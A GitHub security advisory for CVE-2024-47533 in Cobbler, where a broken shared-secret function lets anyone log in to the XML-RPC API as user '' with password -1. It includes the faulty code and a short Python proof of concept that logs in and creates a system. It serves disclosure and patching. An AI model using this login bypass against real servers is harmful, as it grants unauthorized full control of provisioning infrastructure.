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Security Advisories: GSA_kwCzR0hTQS1tMjZjLWZjZ2gtY3A2aM4ABBeO

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Permalink: https://github.com/advisories/GHSA-m26c-fcgh-cp6h
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Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 1 month ago
Updated: about 1 month ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00045
EPSS Percentile: 0.17398

Identifiers: GHSA-m26c-fcgh-cp6h, CVE-2024-47533
References:

• https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
• https://nvd.nist.gov/vuln/detail/CVE-2024-47533
• https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
• https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
• https://github.com/advisories/GHSA-m26c-fcgh-cp6h

Repository: https://github.com/cobbler/cobbler
Blast Radius: 10.2

Affected Packages